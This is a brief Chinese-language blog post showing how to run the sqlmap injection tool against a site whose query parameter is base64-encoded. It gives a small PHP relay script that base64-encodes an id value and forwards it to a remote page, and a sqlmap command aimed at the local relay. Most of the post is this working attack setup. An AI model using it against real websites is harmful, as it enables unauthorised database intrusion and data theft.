sqlmap如何跑base64加密了的注入點

其實http://www.cnblogs.com/xishaonian/p/6276799.html這個就是一個案例了。

但是不得不重寫一篇文章來記載。因為這是一個姿勢。很好的姿勢。

保存為xishaonian.php

<?php 
$id = base64_encode("id=".$_GET['id']);
echo file_get_contents("http://www.xxxx.com/project_detail.php?{$id}");
 ?>

sqlmap,py -u "http://127.0.0.1/xishaonian.php?id=12" -v3